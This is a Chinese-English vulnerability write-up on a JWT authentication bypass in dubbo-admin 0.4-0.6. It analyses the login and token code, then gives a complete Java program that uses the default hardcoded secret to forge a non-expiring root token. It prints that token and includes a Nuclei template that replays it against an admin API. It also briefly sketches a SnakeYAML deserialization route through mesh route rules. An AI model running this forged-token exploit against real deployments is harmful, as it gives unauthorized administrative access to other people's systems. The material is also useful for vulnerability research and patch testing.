dubbo-admin_JWT_BYPASS Affected versions dubbo-admin 0.4-0.6
0x01 analyze org/apache/dubbo/admin/controller/UserController.java#login()
1 2 3 4 5 6 7 8 9 10 11 12 public String login (HttpServletRequest httpServletRequest, HttpServletResponse response, @RequestParam String userName, @RequestParam String password) { ExtensionLoader<LoginAuthentication> extensionLoader = ExtensionLoader.getExtensionLoader(LoginAuthentication.class); Set<LoginAuthentication> supportedExtensionInstances = extensionLoader.getSupportedExtensionInstances(); Iterator<LoginAuthentication> iterator = supportedExtensionInstances.iterator(); boolean flag = true ; if (iterator != null && !iterator.hasNext()) { if (StringUtils.isBlank(rootUserName) || (rootUserName.equals(userName) && rootUserPassword.equals(password))) { return jwtTokenUtil.generateToken(userName); } else { flag = false ; } }
1 直接确定用户名和密码填写即可,然后获取jwtToken
org/apache/dubbo/admin/utils/JwtTokenUtil.java#generateToken()
1 2 3 4 5 6 7 8 9 10 public String generateToken (String rootUserName) { Map<String, Object> claims = new HashMap <>(1 ); claims.put("sub" , rootUserName); return Jwts.builder() .setClaims(claims) .setExpiration(new Date (System.currentTimeMillis() + expiration)) .setIssuedAt(new Date (System.currentTimeMillis())) .signWith(defaultAlgorithm, secret) .compact(); }
那么这里是jwttoken的处理方式,包括认证时间、过期时间、用户名。
org/apache/dubbo/admin/utils/JwtTokenUtil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 * Jwt signingKey configurable */@Value("${admin.check.signSecret:}") public String secret;@Value("${admin.check.tokenTimeoutMilli:}") public long expiration;public static final SignatureAlgorithm defaultAlgorithm = SignatureAlgorithm.HS512;
该类定义了固定的秘密、过期、默认算法。 现在我们知道了加密方式,我们就可以使用假jwt来登录绕过了。
org/apache/dubbo/admin/authentication/impl/DefaultPreHandle.java#authentication()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public boolean authentication (HttpServletRequest request, HttpServletResponse response, Object handler) { HandlerMethod handlerMethod = (HandlerMethod) handler; Method method = handlerMethod.getMethod(); Authority authority = method.getDeclaredAnnotation(Authority.class); if (null == authority) { authority = method.getDeclaringClass().getDeclaredAnnotation(Authority.class); } String token = request.getHeader("Authorization" ); if (null != authority && authority.needLogin()) { if (StringUtils.isEmpty(token)) { AuthInterceptor.authRejectedResponse(response); return false ; } if (jwtTokenUtil.canTokenBeExpiration(token)) { return true ; } AuthInterceptor.loginFailResponse(response); return false ; } else { return true ; } } }
这里可以分析一下,从Authorization中获取jwt,然后确定过期时间。现在我们有办法对其进行加密,就是针对一个长期不过期的jwt。
0x02 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package org.apache.dubbo.admin.controller;import io.jsonwebtoken.Jwts;import io.jsonwebtoken.SignatureAlgorithm;import java.util.Date;import java.util.HashMap;import java.util.Map;public class jwt { public static String generateToken (String rootUserName) { String secret = "86295dd0c4ef69a1036b0b0c15158d77" ; Long timeStamp = 9999999999999L ; Date date = new Date (timeStamp); final SignatureAlgorithm defaultAlgorithm = SignatureAlgorithm.HS512; Map<String, Object> claims = new HashMap <>(1 ); claims.put("sub" , rootUserName); return Jwts.builder() .setClaims(claims) .setExpiration(date) .setIssuedAt(new Date (System.currentTimeMillis())) .signWith(defaultAlgorithm, secret) .compact(); } public static void main (String[] args) { String root = jwt.generateToken("root" ); System.out.println(root); } }
In this way, you can get root’s jwt.
Calculate and get
1 eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjk5OTk5OTk5OTksInN1YiI6InJvb3QiLCJpYXQiOjE2OTkwODM2Mzd9.wKRqJkWxr_nVDcVVF5rniqhnACtqaDnYUUu55g-atkIwRIt1A-SMpKqBN5zrGZl4kFVcrjzMvXsYqfqf0N9Gbg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 id: dubbo-admin_Unauthorized_bypass info: name: Template Name author: severity: medium description: dubbo-admin Unauthorized access bypass reference: - https:// tags: apache,dubbo-admin requests: - raw: - |+ GET /api/dev/consumers HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/plain, */* Authorization: eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjk5OTk5OTk5OTksInN1YiI6InJvb3QiLCJpYXQiOjE2OTkwODM2Mzd9.wKRqJkWxr_nVDcVVF5rniqhnACtqaDnYUUu55g-atkIwRIt1A-SMpKqBN5zrGZl4kFVcrjzMvXsYqfqf0N9Gbg User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 Referer: http://{{Hostname}}/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close matchers: - type: word part: header words: - 'HTTP/1.1 200 '
A poc of nuclei. You can quickly verify permission bypass.
0x03 尝试找r点
pom里面有snakeyaml。
自然想到yaml.load()。
org/apache/dubbo/admin/common/util/YamlParser.java
最后找到这两个,可控的地方。
我门跟一下下面的
org/apache/dubbo/admin/service/impl/MeshRouteServiceImpl.java
可以看到是检查mesh的规则。
找一下调用,发现在创建规则和更新时都会触发。
org/apache/dubbo/admin/controller/MeshRouteController.java
最后也是找到路由点。
接下来测试一下
随便输入,然后替换为伪造的jwt
是能成功登入的
来到msh路由
跟进一下,发现SafeConstructor()开启了白名单。G.
手动改了后,重新尝试。
可以成功执行。
查看了一下版本 0.3开始SafeConstructor(),
0.2看来可以的。
单jwt机制在0.4引用。鸡肋。
声明 此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。